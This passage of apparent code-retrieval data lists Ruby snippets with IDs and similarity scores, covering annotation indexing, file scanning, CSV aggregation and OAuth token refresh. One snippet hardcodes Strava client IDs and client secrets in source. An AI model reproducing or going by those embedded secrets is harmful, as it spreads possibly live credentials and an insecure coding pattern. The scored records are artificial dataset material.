"text": "def index\n @results = []\n @document.bioc_doc.all_annotations.each do |a|\n e = EntityUtil.get_annotation_entity(a)\n a.locations.each do |l|\n @results << {did: @document.did, offset: l.offset, text: a.text, length: l.length, infons: a.infons }\n end\n end\n render :json => @results\n end",
"title": ""
},
{
"docid": "af41284372f4767aff6567cb5f93c4be",
"score": "0.5212664",
"text": "def all_apf_finder( path_and_file = self.file_name_and_contents.path_and_file, all_apf_arr = [] )\n apf_files = find_apf( path_and_file )\n if apf_files.count > 0\n all_apf_arr << apf_files\n apf_files.each do |apf_file|\n if File.exists? apf_file\n path_and_file = apf_file\n all_apf_finder( path_and_file, all_apf_arr )\n else\n if self.hints_hash['file_does_not_exist']\n self.hints_hash['file_does_not_exist'] << apf_file\n else\n self.hints_hash = self.hints_hash.merge( 'file_does_not_exist' => [ apf_file ] )\n end\n end\n end\n end\n all_apf_arr\n end",
"title": ""
},
{
"docid": "616f07952cbaccf42352a695f3f3d455",
"score": "0.5208879",
"text": "def div_annotations_index\n begin\n @doc = Doc.find_by_sourcedb_and_sourceid_and_serial(params[:sourcedb], params[:sourceid], params[:divid])\n raise \"There is no such document.\" unless @doc.present?\n\n @span = params[:begin].present? ? {:begin => params[:begin].to_i, :end => params[:end].to_i} : nil\n\n @doc.set_ascii_body if params[:encoding] == 'ascii'\n\n params[:project] = params[:projects] if params[:projects].present? && params[:project].blank?\n\n project = if params[:project].present?\n params[:project].split(',').uniq.map{|project_name| Project.accessible(current_user).find_by_name(project_name)}\n else\n @doc.projects\n end\n\n project.delete_if{|p| !p.annotations_accessible?(current_user)}\n\n project = project[0] if project.present? && project.length == 1\n context_size = params[:context_size].present? ? params[:context_size].to_i : 0\n @annotations = @doc.hannotations(project, @span, context_size)\n\n respond_to do |format|\n format.html {render 'index'}\n format.json {render json: @annotations}\n end\n\n rescue => e\n respond_to do |format|\n format.html {redirect_to (@project.present? ? project_docs_path(@project.name) : home_path), notice: e.message}\n format.json {render json: {notice:e.message}, status: :unprocessable_entity}\n end\n end\n end",
"title": ""
},
{
"docid": "0bd7b67d6cc2f00bf6646fce5950b860",
"score": "0.52076626",
"text": "def sources(dotfiles_map)\n dotfiles_map.map { |h| h.keys.first }\nend",
"title": ""
},
{
"docid": "ea6e0770d3ccf5034b688abc8fb20e63",
"score": "0.52064663",
"text": "def entries; @entries_by_filename.values; end",
"title": ""
},
{
"docid": "a3ee512bd46cde5501dde84b29110efa",
"score": "0.5205482",
"text": "def annotations_text\n targets = @xml.xpath(@xpaths[\"annotations\"])\n targets.map do |target|\n get_text(\"//note[@id='#{target}']\", xml: @options[\"notes\"])\n end\n end",
"title": ""
},
{
"docid": "b0bcd60aab5200ad654321bc9cb7b0df",
"score": "0.5203801",
"text": "def annotations; end",
"title": ""
},
{
"docid": "b0bcd60aab5200ad654321bc9cb7b0df",
"score": "0.5203801",
"text": "def annotations; end",
"title": ""
},
{
"docid": "97ff42dace2fbef65dd2d24c93f7fc16",
"score": "0.5195255",
"text": "def read_exif(*files)\n file_paths = files.map { |f| File.expand_path(f) }\n results, errors = MultiExiftool.read file_paths\n raise 'Error reading Exif' unless errors.empty?\n\n results.map(&:to_h)\n end",
"title": ""
},
{
"docid": "7d798c2360e83a1e8d3cae072aa052bc",
"score": "0.5188907",
"text": "def find_all\n task_map = Notes::Tasks.all(@options).group_by(&:filename)\n\n task_map.each do |filename, tasks|\n puts \"#{filename}:\"\n tasks.each { |task| puts ' ' + task.to_s }\n puts ''\n end\n end",
"title": ""
},
{
"docid": "bcc37a355734764b44eb986f4f8edaae",
"score": "0.51880765",
"text": "def get_annotated_scan(dir)\n scan = scan_dir(dir)\n auth = get_auth()\n return annotate_scan(scan, auth)\nend",
"title": ""
},
{
"docid": "bcc37a355734764b44eb986f4f8edaae",
"score": "0.51880765",
"text": "def get_annotated_scan(dir)\n scan = scan_dir(dir)\n auth = get_auth()\n return annotate_scan(scan, auth)\nend",
"title": ""
},
{
"docid": "43f604885059718d1105d752d394a937",
"score": "0.5183193",
"text": "def index\n annotations = current_document.annotations_with_authors(current_account)\n json annotations\n end",
"title": ""
},
{
"docid": "9e26fbfc0e9e12381078235d51a3e9b0",
"score": "0.51816994",
"text": "def index\n @annotations = Annotation.by_user_id(current_user.id)\n end",
"title": ""
},
{
"docid": "57f23420660463d2621b1663e2cbb3da",
"score": "0.5174543",
"text": "def tapj_file_list\n tapj_files = []\n\n # Filter to only latest build dirs so we don't scan the whole directory\n qualifying_directories.each do |d|\n tapj_files.concat(Dir[File.join(d, '**', \"*#{TAPJ_EXTENSION}\")])\n end\n\n tapj_files\n end",
"title": ""
},
{
"docid": "05712ca3b73090ef0e68078c6da7b106",
"score": "0.51743203",
"text": "def parse_files!\n @logger.info \"parse all files\"\n Dir[File.join(@options[:workspace], \"**\", \"*.rb\")].each do |path|\n logger.info \"read file #{path}...\"\n @namespace.read_file(path)\n end\n end",
"title": ""
},
{
"docid": "1975568bb93c9e04e5638f5f688496bc",
"score": "0.51678824",
"text": "def index\n @annotations_by_user = Annotation.where(made_by: current_user.id)\n @annotations_by_collaborators = []\n @related_passages = {}\n\n @user_passages = Passage.where(user_id: current_user.id)\n\n if @user_passages != nil\n @user_passages.each do |passage|\n annotations = Annotation.where(passage_id: passage.id)\n if annotations != nil\n annotations.each do |annotation|\n @annotations_by_collaborators.push(annotation)\n @related_passages[annotation.id] = Passage.find(annotation.passage_id)\n end\n end\n end\n end\n\n\n\n if @annotations_by_user == nil\n @annotations_by_user = [] \n end\n\n @annotation_authors = {}\n @annotations = @annotations_by_user + @annotations_by_collaborators\n\n @annotations.each do |annotation|\n @annotation_authors[annotation.id] = User.find(annotation.made_by)\n end\n\n @annotations.each do |annotation|\n puts annotation.inspect\n puts @annotation_authors[annotation.made_by].inspect\n puts @related_passages[annotation.id].inspect\n end\n\n\n @current_user = current_user\n end",
"title": ""
},
{
"docid": "ed02b28e324e86b2c95eadee6c2ec90f",
"score": "0.5160364",
"text": "def process_files\n @files.each do |file|\n puts \"Processing #{file.name}..\"\n puts \" Extracting Corrected Gravity Data...\"\n file_data = file.get_time_and_corrected_gravity_data\n file_data.each do |row|\n @data_array << row\n end\n end\n find_mean\n end",
"title": ""
},
{
"docid": "fed34700808a36ea035ad1c719cd8d41",
"score": "0.5155243",
"text": "def extract_information\n # Extract information from main file\n @info = {}\n @info[:source_code] = source = read_source_code\n @info[:class_name] = extract_class_name(source)\n @info[:title] = extract_title(source)\n @info[:width] = extract_dimension(source, 'width')\n @info[:height] = extract_dimension(source, 'height')\n @info[:description] = extract_description(source)\n @info[:libraries] = extract_libraries(source)\n @info[:real_requires] = extract_real_requires(source)\n hash_to_ivars @info\n @info\n end",
"title": ""
},
{
"docid": "09ee0d4dbe55965bb1c86e9cff1baeb8",
"score": "0.5140772",
"text": "def scan(dir, annotations=[])\n Dir.glob(\"#{dir}/*\") do |path|\n next if File.basename(path) =~ /(#{Config.folder_ignore.join('|')})$/\n\n if File.directory? path\n scan(path, annotations)\n else\n begin\n next if File.extname(path) =~ /(#{Config.file_extension_ignore.join('|')})$/\n content = read_file(path, /(#{Config.patterns.join('|')})/i)\n Annotation.new(content) if content\n rescue\n nil\n end\n end\n end\n end",
"title": ""
},
{
"docid": "e1ef25a540def9e2593ce08e62b4d910",
"score": "0.5138403",
"text": "def text_annotation_with_multiple_dic_readme\n @annotator_uri = \"\"\n\n if params[:commit] == \"Add selected dictionaries\"\n params[:dictionaries] = get_selected_diclist(params)\n\n elsif params[:commit] == \"Generate URL\"\n request_params = { \n \"dictionaries\" => params[\"dictionaries\"],\n \"matching_method\" => params[\"annotation_strategy\"], \n \"min_tokens\" => params[\"min_tokens\"],\n \"max_tokens\" => params[\"max_tokens\"],\n \"threshold\" => params[\"threshold\"],\n \"top_n\" => params[\"top_n\"],\n }\n\n @annotator_uri = \"http://#{request.host}:#{request.port}#{request.fullpath.split(\"?\")[0]}?#{request_params.to_query}\"\n end\n\n respond_to do |format|\n format.html \n end\n end",
"title": ""
},
{
"docid": "2a3447fa2ec2efd8685813732e44d2ef",
"score": "0.51365834",
"text": "def annotations\n embellishments.select { |e| e.is_a?(Annotation) }\n end",
"title": ""
},
{
"docid": "f6ee087fb21e970e4535cb218d6d29cd",
"score": "0.51328635",
"text": "def get_files!\n @sources.each_pair do |key, source|\n source.get_files!\n end\n end",
"title": ""
},
{
"docid": "09b7ef6347286a3130ff0cc45b0e32b2",
"score": "0.51315784",
"text": "def detect\n hexes = {}\n puts \"scanning #{filenames.size} files...\"\n self.filenames.each do |filename|\n hex = Digest::MD5.hexdigest(File.read(filename))\n hexes[hex] = [] unless hexes.has_key?(hex)\n hexes[hex] << filename\n end\n\n hexes.each do |hex, files|\n if files.size > 1\n puts \"\\nduplicates found @ #{hex}:\"\n files.each{ |file| puts \"\\t#{file}\" }\n end\n end\n puts \"scanned #{filenames.size} files\"\n end",
"title": ""
},
{
"docid": "fd96cd35682b7154ff812047ae04f48d",
"score": "0.5130576",
"text": "def obtain_annotations(docs)\n\t\tmethod, url, params, payload = prepare_request(docs)\n\t\tresult = make_request(method, url, params, payload)\n\t\tannotations_col = (result.class == Array) ? result : [result]\n\n\t\t# To recover the identity information, in case of syncronous annotation\n\t\tannotations_col.each_with_index do |annotations, i|\n\t\t\traise RuntimeError, \"Invalid annotation JSON object.\" unless annotations.respond_to?(:has_key?)\n\t\t\tannotations[:text] = docs[i][:text] unless annotations[:text].present?\n\t\t\tannotations[:sourcedb] = docs[i][:sourcedb] unless annotations[:sourcedb].present?\n\t\t\tannotations[:sourceid] = docs[i][:sourceid] unless annotations[:sourceid].present?\n\t\t\tAnnotation.normalize!(annotations)\n\t\t\tannotations_transform!(annotations)\n\t\tend\n\t\tannotations_col\n\tend",
"title": ""
},
{
"docid": "94f82ecf9775878e51f1a9c81a63e4a9",
"score": "0.5130235",
"text": "def find_in(dir)\n results = {}\n\n Dir.glob(\"#{dir}/*\") do |item|\n next if File.basename(item).start_with?(\".\")\n\n if File.directory?(item)\n results.update(find_in(item))\n else\n extension = Annotation.extensions.detect do |regexp, _block|\n regexp.match(item)\n end\n\n if extension\n pattern = extension.last.call(tag)\n\n # In case a user-defined pattern returns nothing for the given set\n # of tags, we exit early.\n next unless pattern\n\n # If a user-defined pattern returns a regular expression, we will\n # wrap it in a PatternExtractor to keep the same API.\n pattern = PatternExtractor.new(pattern) if pattern.is_a?(Regexp)\n\n annotations = pattern.annotations(item)\n results.update(item => annotations) if annotations.any?\n end\n end\n end\n\n results\n end",
"title": ""
},
{
"docid": "5a1a5d9b3e2f8eddcc348d19c151e9c1",
"score": "0.51282597",
"text": "def list_files\n files = {}\n @source.folders.each do |sw|\n h = Hash.new { |h,k| h[k] = [] }\n f = @manager.find_files(sw).inject(h) { |col,f| col[sw] << f; col }\n files.merge! f\n Logger.<<(__FILE__,\"INFO\",\"Found #{f[sw].size} files from #{sw} on #{@source.name} .\")\n end\n files\n end",
"title": ""
},
{
"docid": "1a8d2c5b5b4e95a9b194ba308f2c4ba3",
"score": "0.51258683",
"text": "def inspect(googleCodeJSONExportFile)\n authorHash = Hash.new(0)\n statusesHash = Hash.new(0)\n statesHash = Hash.new(0)\n labelsHash = Hash.new(0)\n file = File.read(googleCodeJSONExportFile)\n data_hash = JSON.parse(file, :symbolize_names => true)\n data_hash[:projects][0][:issues][:items].each do |issue|\n if shouldInclude?(issue[:labels])\n authorHash[issue[:author][:name]] += 1;\n statusesHash[issue[:status]]+= 1;\n statesHash[issue[:state]]+= 1;\n issue[:labels].each do |lbl|\n labelsHash[lbl] += 1\n end\n #Display attachments\n #issue[:comments][:items].each do |comment|\n # if comment[:attachments] && issue[:state] == 'open'\n # puts \"Attachments for GoogleCode issue #{issue[:id]}\"\n # comment[:attachments].each do |attachement|\n # puts attachement\n # end\n # end\n #end\n end\n end\n puts \"#{authorHash.length} distinct authors:#{authorHash.inspect}\"\n puts \"#{statusesHash.length} distinct statuses:#{statusesHash.inspect}\"\n puts \"#{statesHash.length} distinct states:#{statesHash.inspect}\"\n puts \"#{labelsHash.length} distinct labels:#{labelsHash.inspect}\"\n end",
"title": ""
},
{
"docid": "3211297b57159754efef57847edc9f0c",
"score": "0.5123895",
"text": "def annotate(klass, file, header, annotated, options={})\n begin\n info = get_schema_info(klass, header, options)\n did_annotate = false\n model_name = klass.name.underscore\n table_name = klass.table_name\n self.model_dir = options[:model_dir] if options[:model_dir].length > 0\n\n # A model could be defined in multiple files...\n did_annotate = self.model_dir.\n map { |dir| File.join(dir, file) }.\n select { |fname| fname && File.exist?(fname) }.\n map { |file| annotate_one_file(file, info, :position_in_class, options) }.\n detect { |result| result } || did_annotate\n\n unless options[:exclude_tests]\n did_annotate = TEST_PATTERNS.\n map { |pat| [pat[0], resolve_filename(pat[1], model_name, table_name)] }.\n map { |pat| find_test_file(*pat) }.\n map { |file| annotate_one_file(file, info, :position_in_test, options) }.\n detect { |result| result } || did_annotate\n end\n\n unless options[:exclude_fixtures]\n did_annotate = FIXTURE_PATTERNS.\n map { |file| resolve_filename(file, model_name, table_name) }.\n map { |file| annotate_one_file(file, info, :position_in_fixture, options) }.\n detect { |result| result } || did_annotate\n end\n\n unless options[:exclude_factories]\n did_annotate = FACTORY_PATTERNS.\n map { |file| resolve_filename(file, model_name, table_name) }.\n map { |file| annotate_one_file(file, info, :position_in_factory, options) }.\n detect { |result| result } || did_annotate\n end\n\n annotated << klass if(did_annotate)\n rescue Exception => e\n puts \"Unable to annotate #{file}: #{e.message}\"\n puts \"\\t\" + e.backtrace.join(\"\\n\\t\") if options[:trace]\n end\n end",
"title": ""
},
{
"docid": "9392a7079451fd853c31ef7fe7446fcd",
"score": "0.51214963",
"text": "def indexed_instantiated_files\n self.indexed_templates.inject({}) do |h, (template_index, template_struct)|\n content = instantiate_template(template_struct.template)\n relative_path = config_relative_path(template_struct.target_file_name)\n h.merge(template_index => InstantiatedFileInfo.new(self.component_index, relative_path, content))\n end\n end",
"title": ""
},
{
"docid": "d3eb782e54f6c025ad64a79796e920a7",
"score": "0.51187044",
"text": "def get_file_dependency\n deps = {}\n filenames = @files.map { |el| File.basename(el) }\n @files.each do |file|\n temparray = []\n File.readlines(file).each do |line|\n if line.match(match_against(filenames))\n temparray << full_filepath(@path, line.match(match_against(filenames)))\n end\n end\n deps[file] = temparray if temparray\n end\n return deps\n end",
"title": ""
},
{
"docid": "8d5a05e161d1fde29f921b04a4217a5a",
"score": "0.5115779",
"text": "def do_annotations(options={})\n header = options[:format_markdown] ? PREFIX_MD.dup : PREFIX.dup\n\n if options[:include_version]\n version = ActiveRecord::Migrator.current_version rescue 0\n if version > 0\n header << \"\\n# Schema version: #{version}\"\n end\n end\n\n self.model_dir = options[:model_dir] if options[:model_dir].length > 0\n\n annotated = []\n\n models = []\n if(!options[:is_rake])\n models = ARGV.map { |arg| ActiveSupport::Inflector.safe_constantize(arg) }.reject { |klass| klass.nil? }\n end\n if(models.length == 0)\n models = get_subclasses_recursively(ActiveRecord::Base)\n end\n\n models.each do |klass|\n file = \"#{ActiveSupport::Inflector.underscore(klass)}.rb\"\n found_file = false\n self.model_dir.each do |dir|\n if(File.exist?(File.join(dir, file)))\n annotate(klass, file, header, annotated, options)\n found_file = true\n end\n end\n\n if(!found_file && options[:trace])\n puts \"Skipping #{klass}, as it seems to be provided by a gem/engine, or otherwise isn't in a path where we expect to find it.\"\n end\n end\n\n if annotated.empty?\n puts \"Nothing annotated.\"\n else\n puts \"Annotated (#{annotated.length}): #{annotated.join(', ')}\"\n end\n end",
"title": ""
},
{
"docid": "955cf460944121c2ff8544768901b645",
"score": "0.5115054",
"text": "def num_annotations_all\n groupings = Grouping.arel_table\n submissions = Submission.arel_table\n subs = Submission.joins(:grouping)\n .where(groupings[:assessment_id].eq(id)\n .and(submissions[:submission_version_used].eq(true)))\n\n res = Result.where(submission_id: subs.pluck(:id), remark_request_submitted_at: nil)\n filtered_subs = subs.where(id: res.pluck(:submission_id))\n Annotation.joins(:submission_file)\n .where(submission_files:\n { submission_id: filtered_subs.pluck(:id) }).size\n end",
"title": ""
},
{
"docid": "b731a56f447fd79876b72c15703cdab4",
"score": "0.5114158",
"text": "def detect_files(sha)\n duplicated_files = []\n get_pr_including_target_commit(sha).each do |pr|\n duplicated_files.push(get_files_with_changes(pr) & @yaml['detect_files'])\n duplicated_files.flatten!\n end\n duplicated_files\n end",
"title": ""
},
{
"docid": "129164f9dfe25c178fd5c340a62e5b14",
"score": "0.51008934",
"text": "def extract_metadata\n path = upload.queued_for_write[:original].path\n info = PDF::Info.new(path).metadata\n self.title = (self.title != nil && self.title.empty?)? info[:title] : self.title\n self.keywords = (self.keywords != nil && self.keywords.empty?)? info[:keywords] : self.keywords\n tmp_authors = HTMLEntities.new.decode(info[:author]).split(\",\")\n res = Hash.new\n res.store(\"authors\", \"\")\n tmp_authors.each do |author|\n tmp = Author.where(\"lower(search_name) LIKE :input\", input: \"%#{author.strip.downcase}\")\n if tmp != [] || tmp.size == 1\n self.authors << tmp\n pp tmp\n else\n res.store(\"authors\", res[\"authors\"] + author + \",\") \n end\n end\n pp info\n res.store(\"title\",(self.title != nil && !self.title.empty?)? true : false)\n pp res\n end",
"title": ""
},
{
"docid": "ffeea4a8b9a8d0b26a0f6bf6f4606860",
"score": "0.5095665",
"text": "def extract(files)\n Parallel.each(files) do |file|\n puts \"✔ Extracting #{file}\"\n extract_file(file)\n end\n end",
"title": ""
},
{
"docid": "ae35aa2a8dab3ddef34e1724faf628e2",
"score": "0.50891024",
"text": "def produced_files\n @git.latest_comment(\"tetra: dry-run-finished\")\n .split(\"\\n\")\n .map { |line| line[/^tetra: file-changed: src\\/(.+)$/, 1] }\n .compact\n .sort\n end",
"title": ""
},
{
"docid": "a4a1abcf4dc80de40eb7018512e8efc3",
"score": "0.50831026",
"text": "def template_entries\n template_directories.map do |directory|\n Dir.glob(\"#{directory}/*.tex\").map do |file|\n { 'filename' => File.basename(file), 'content' => File.read(file) }\n end\n end.flatten\nend",
"title": ""
},
{
"docid": "1b1b5c18705955a87df48fa5375181d9",
"score": "0.50826395",
"text": "def match_associations(commit_sha, files)\n new_lines = lines_added(commit_sha)\n\n files = files.split(\"\\n\").group_by { |f| f.split('.').pop }\n\n associations.each do |ext, related|\n files[ext] ||= []\n related.each do |child|\n next if files[child].blank?\n\n files[child].each do |c|\n # hack to ignore deleted files\n files[child] = new_lines[c].blank? ? [] : [ filename: File.join(@config.working_dir, c), changes: new_lines[c] ]\n end\n files[ext].concat(files[child])\n files.delete(child)\n end\n end\n\n files.delete_if { |k,v| v.blank? || k.nil? }\n files\n end",
"title": ""
},
{
"docid": "00a349604344fb6b12eaa716dd441b6b",
"score": "0.5073273",
"text": "def load_all\n FILES.inject({}) { |acc, x| acc.merge!(load(x)) }\n end",
"title": ""
},
{
"docid": "89a559bef13a1686c231701ffe940099",
"score": "0.5070826",
"text": "def read_all\n kanji_hash = {}\n\n read_each_from_source_xml do |kanji|\n kanji_hash[kanji.id] = kanji\n end\n\n read_each_from_strokes_xml do |kanji_id, strokes|\n kanji_hash[kanji_id]&.strokes += strokes\n end\n\n kanji_hash.values\n end",
"title": ""
},
{
"docid": "a79e4f6781102c35e0b0c37b6af0a52d",
"score": "0.50704914",
"text": "def to_images\n image_map = []\n self.each do |file|\n begin\n image_map << ImageFile.new(file)\n rescue Exception => e\n $stderr.puts \"WARNING: skipped file - #{e.message}\"\n end\n end\n image_map\n end",
"title": ""
},
{
"docid": "158f907b17bc625effa0a96704abf40f",
"score": "0.5068894",
"text": "def all_files\n files = []\n project_root = self['projectRoot'].empty? ? '.' : self['projectRoot']\n FileVisitor.visit self['mainGroup'], project_root, files\n files\n end",
"title": ""
},
{
"docid": "614f568b28883ce3275b06c4c202a1fe",
"score": "0.5066983",
"text": "def parse_files(tailor_summary)\n tailor_summary[:files].each do |f|\n parse_violations(f[:path], f[:violations])\n end\n end",
"title": ""
},
{
"docid": "4dbb00878ecc0ed370d601340b0148b9",
"score": "0.5066659",
"text": "def annotate(filename)\n engine = Sass::Engine.new(IO.read(filename), options.merge(:syntax=>guess_syntax(filename)))\n tree = engine.to_tree\n tree.perform!(Sass::Environment.new)\n resolve_rules tree\n @rows = to_rows(tree)\n end",
"title": ""
},
{
"docid": "1f91cf2b6eaff50bf4bb4617b8e102ec",
"score": "0.5062696",
"text": "def files_to_example_ids(files)\n cmd = \"DISABLE_SPRING=1 bundle exec rspec --dry-run --format json #{files.join(' ')}\"\n out, err, cmd_result = Open3.capture3(cmd)\n\n if !cmd_result.success?\n rspec_output = begin\n JSON.parse(out)\n rescue JSON::ParserError\n out\n end\n\n log_event(\n \"Failed to split slow files, falling back to regular scheduling.\\n #{err}\",\n \"error\",\n rspec_stdout: rspec_output,\n rspec_stderr: err,\n cmd_result: cmd_result.inspect\n )\n\n pp rspec_output\n\n return files\n end\n\n JSON.parse(out)[\"examples\"].map { |e| e[\"id\"] }\n end",
"title": ""
},
{
"docid": "03280b4303ff68a5c369a0fd7e589086",
"score": "0.5062376",
"text": "def build_hash(file_list)\n\t\tresults = {}\n\t\tfile_list.each do |path|\n\t\t\tcontent = File.read(path)\n\t\t\tresults[path] = content\n\t\tend\n\t\treturn results\n\tend",
"title": ""
},
{
"docid": "ed7ba581c543b823a20b5d283a577884",
"score": "0.50581706",
"text": "def annotations\n structure[:annotations]\n end",
"title": ""
},
{
"docid": "4cc251e383274e8a8c7d66dfad21e3de",
"score": "0.5054168",
"text": "def generate(flist, fout_motion, fout_motion_sums, fsummary)\n sort_column = 'authors'\n\n summaries = {}\n if fsummary\n CSV.foreach(fsummary, headers: true) do |row|\n next if is_comment row\n h = row.to_h\n summaries[h['project']] = h\n end\n end\n\n files = []\n CSV.foreach(flist, headers: true) do |row|\n next if is_comment row\n h = row.to_h\n name = h['name'].strip\n label = h['label'].strip\n files << [name, label]\n end\n\n # Read data from files and labels list in \"flist\"\n projects = {}\n labels = {}\n files.each do |file_data|\n file, label = file_data\n CSV.foreach(file, headers: true) do |row|\n next if is_comment row\n h = row.to_h\n h.each do |p, v|\n vi = v.to_i\n vis = vi.to_s\n # Convert string that contian integers to integers\n h[p] = vi if vis == v\n end\n project = h['project']\n h['label'] = label\n projects[project] = {} unless projects.key? project\n projects[project][label] = h\n labels[label] = true\n end\n end\n\n # Labels should be alpabetical (actually google sheet reuires time data)\n # So I suggest YYYYMM or YYYY-MM etc, MM/YYYY sorted alphabetically will give wrong result\n # 1/2017 < 2/2016\n labels = labels.keys\n\n summary_map = {}\n summary_map[true] = 0\n summary_map[false] = 0\n # Compute sums\n projects.each do |project, items|\n have_summary = summaries.key? project\n summary_map[have_summary] += 1\n sum = {}\n cum_labels = []\n labels.each do |label|\n proj = items[label]\n next unless proj\n cum_labels << label\n proj.each do |k, v|\n next if ['org', 'repo'].include? k\n if ['activity', 'comments', 'prs', 'commits', 'issues'].include? k\n sum[k] = 0 unless sum.key? k\n sum[k] += v\n elsif ['project', 'url'].include? k\n sum[k] = v\n elsif k == 'authors'\n # Column authors is not summed but max'ed\n if have_summary\n sum[k] = summaries[project]['authors'].to_i\n else\n sum[k] = v unless sum.key? k\n sum[k] = [sum[k], v].max\n end\n elsif k == 'label'\n sum[k] = [] unless sum.key? k\n sum[k] << v\n else\n puts \"Invalid key #{k}\"\n p proj\n end\n end\n # This is nasty\n items[[label]] = [cum_labels.dup, sum.dup]\n end\n items[:sum] = sum\n end\n\n # Sort by sort_column (sum of data from all data files)\n # It determines top projects\n projs_arr = []\n projects.each do |project, items|\n projs_arr << [project, items[:sum][sort_column], items]\n end\n projs_arr = projs_arr.sort_by { |item| -item[1] }\n\n # Only put project in output if it have data in all labels\n top_projs = []\n n = 0\n indices = []\n projs_arr.each_with_index do |item, index|\n lbls = item[2][:sum]['label']\n if lbls.size == labels.size\n n += 1\n if n <= 30 && item[2][:sum]['url'] == ''\n puts \"Project ##{n} '#{item[0]}' is missing URL\"\n end\n top_projs << item\n indices << index\n end\n end\n # To check which projects got to final motion\n # Uncomment this:\n # p indices[0..29]\n\n # Motion chart data\n ks = %w(project url label activity comments prs commits issues authors)\n ks += %w(sum_activity sum_comments sum_prs sum_commits sum_issues sum_authors)\n CSV.open(fout_motion, \"w\", headers: ks) do |csv|\n csv << ks\n top_projs.each do |item|\n proj = item[0]\n sum = item[2][:sum]\n authors = 0\n labels.each do |label|\n row = item[2][label]\n authors = [authors, row['authors']].max\n csv_row = [\n proj,\n row['url'],\n label,\n row['activity'],\n row['comments'],\n row['prs'],\n row['commits'],\n row['issues'],\n authors,\n sum['activity'],\n sum['comments'],\n sum['prs'],\n sum['commits'],\n sum['issues'],\n sum['authors']\n ]\n csv << csv_row\n end\n end\n end\n\n # Cumulative sums\n CSV.open(fout_motion_sums, \"w\", headers: ks) do |csv|\n csv << ks\n top_projs.each do |item|\n proj = item[0]\n sum = item[2][:sum]\n authors = 0\n labels.each do |label|\n # sum_labels = item[2][[label]][0]\n # puts \"#{proj} #{sum_labels}\"\n row = item[2][[label]][1]\n csv_row = [\n proj,\n row['url'],\n label,\n row['activity'],\n row['comments'],\n row['prs'],\n row['commits'],\n row['issues'],\n row['authors'],\n sum['activity'],\n sum['comments'],\n sum['prs'],\n sum['commits'],\n sum['issues'],\n sum['authors']\n ]\n csv << csv_row\n end\n end\n end\nend",
"title": ""
},
{
"docid": "7f07f818b08b31051c07809c15622c6f",
"score": "0.5053147",
"text": "def readFilesInDir(targetdir)\n filedata = Hash.new\n files= Dir.glob(targetdir + \"/*.pdf\")\n files.sort.each do |filename|\n filedata[filename] = readExifData(filename)\n end\n return filedata\nend",
"title": ""
},
{
"docid": "77820d877dba61b746250b56666c3f24",
"score": "0.5052059",
"text": "def annotations # :nodoc:\n @annotations.dup\n end",
"title": ""
},
{
"docid": "d38f4489495a8d7a4ef38183a1f6df41",
"score": "0.5050999",
"text": "def alternate_files_and_names\n story_files = []\n (Dir[\"#{project_root}/stories/**/*.story\"] + Dir[\"#{project_root}/stories/**/*.txt\"]).each do |file_path|\n sf = StoryFile.new(file_path)\n if sf.includes_step_file?(name)\n story_files << {:name => \"#{sf.name.gsub('_', ' ')} story\", :file_path => file_path}\n end\n end\n story_files.uniq\n end",
"title": ""
},
{
"docid": "9614dbbd47c68a4a31a40203d2926cf1",
"score": "0.5047116",
"text": "def coverage_files(result, source_files)\n source_files.each_with_object({}) do |source_file, hash|\n hash[source_file.short_name] = {\n never_loaded: source_file.never_loaded,\n runtime_percentage: result.runtime_relevant_coverage(source_file),\n lines_of_code: source_file.lines.count,\n lines_covered: source_file.covered_lines.count,\n lines_missed: source_file.missed_lines.count,\n covered_percent: source_file.covered_percent,\n covered_strength: source_file.covered_strength\n }\n end\n end",
"title": ""
},
{
"docid": "bbe6989a5d77cf4be8893d3daac66858",
"score": "0.50444335",
"text": "def added_and_modified_resources\n @amr ||= attributes.files.each_with_object(Set.new) do |file, ret|\n logger.info(\"processing added/modified file: #{file}\")\n\n if tx_resources.include?(file)\n ret << tx_resources[file]\n end\n end\n end",
"title": ""
},
{
"docid": "2df5ac53c8d32ec17c908da9618848d1",
"score": "0.50438154",
"text": "def annotate_scan(scan, auth)\n annotated = scan.reject{ |_k, v| v[0] =~ /\\A#{ISERR}/ }\n annotated.each do |path, ary|\n realm = auth.select { |k, _v| path.match(/\\A#{k}/) }\n if realm.values.first\n ary << AUTHMAP[realm.values.first]\n end\n end\n return annotated\nend",
"title": ""
}
] |
39ad536ec489da391a927a3a827e5a11 | Updates the Spotify access and refresh tokens for the given User. Returns true on success, false or nil on error. | [
{
"docid": "4dfb539a8f48d4cbc83877d7ea4d124f",
"score": "0.6851462",
"text": "def update_spotify_tokens\n tokens = SpotifyApi.refresh_tokens(spotify_refresh_token)\n\n if tokens\n self.spotify_access_token = tokens['access_token']\n self.spotify_refresh_token = tokens['refresh_token']\n save\n end\n end",
"title": ""
}
] | [
{
"docid": "cb04a26a599068cf976527f6be019bd5",
"score": "0.6324862",
"text": "def update_user_token\n if user_signed_in?\n Session.active_sessions.find_by(id: request.headers['sid'], utoken: request.headers['utoken']).update(last_used_at: Time.zone.now)\n end\n end",
"title": ""
},
{
"docid": "7d47c2e7e9ddaa7967ff6801591de2e6",
"score": "0.622504",
"text": "def refresh_user_access_token(user_refresh_token)\r\n get_new_access_token(user_refresh_token)\r\n end",
"title": ""
},
{
"docid": "503cafc8d5879465cfa69bde9bb632d8",
"score": "0.6184961",
"text": "def refresh_authorisation(user)\n\n if Rails.env.production?\n @clientid = '40928'\n @clients = 'dc6d5affd7d09115b0cd36e8f325b11d0125dfbd'\n else\n @clientid = '40250'\n @clients = '700b02392cd20d926d066de6a28601acb90772a8'\n end\n\n response = RestClient.post 'https://www.strava.com/api/v3/oauth/token', { client_id: @clientid, client_secret: @clients, grant_type: 'refresh_token', refresh_token: user.refresh_token }\n json = JSON.parse(response)\n user.update(access_token: json['access_token'], access_token_expiry: Time.at(json['expires_at']), refresh_token: json['refresh_token'])\n end",
"title": ""
},
{
"docid": "4e56e94e0a50ec3044a87101e4846968",
"score": "0.58561623",
"text": "def sign_in_and_update(user)\n OmniAuth.config.mock_auth[:google_oauth2] = OmniAuth::AuthHash.new({\n :provider => 'google_oauth2',\n :uid => user.uid,\n :email => user.email\n })\n sign_in user\n user.update_last_access_at!\n end",
"title": ""
},
{
"docid": "85c7f648a5eb5d0123d4fcd2c2fb5c33",
"score": "0.58547205",
"text": "def refresh_token(user_id:)\n path = \"/users/#{user_id}\"\n response = get(path)\n refresh_token = response[\"refresh_token\"]\n\n refresh_token = {\"refresh_token\" => refresh_token}\n oauth_path = oauth_path(user_id)\n authenticate(refresh_token, oauth_path)\n end",
"title": ""
},
{
"docid": "a6c01447e46fcfe930cb4df3211c5677",
